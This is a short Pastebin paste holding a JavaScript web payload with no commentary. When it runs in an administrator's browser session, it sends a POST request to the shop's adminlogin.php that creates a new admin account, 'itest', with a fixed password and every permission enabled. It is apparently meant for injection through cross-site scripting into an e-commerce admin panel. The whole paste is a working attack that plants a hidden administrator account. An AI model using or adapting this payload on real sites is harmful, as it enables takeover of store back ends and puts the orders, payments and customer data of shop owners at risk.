Advertisement
Guest User

Untitled

a guest
Apr 3rd, 2018
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.83 KB | None | 0 0
  1. var path=document.location.href;
  2. var url=path.substr(0,path.lastIndexOf("/")+1)+'adminlogin.php';
  3. var payload='posted=1&act=doaddnew&id=&user=itest&pass=aA123456&pass2=aA123456&main=ON&orders=ON&payprov=ON&affiliate=ON&clientlogin=ON&products=ON&categories=ON&discounts=ON&regions=ON&shipping=ON&ordstatus=ON&dropship=ON&ipblock=ON&maillist=ON&statistics=ON&ratings=ON&contentregion=ON';
  4. var xhr = new XMLHttpRequest();
  5. xhr.open("POST", url, true);
  6.  
  7. //Send the proper header information along with the request
  8. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  9.  
  10. xhr.onreadystatechange = function() {//Call a function when the state changes.
  11. if(xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
  12. // Request finished. Do processing here.
  13. //alert(xhr.response);
  14. }
  15. }
  16. xhr.send(payload);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement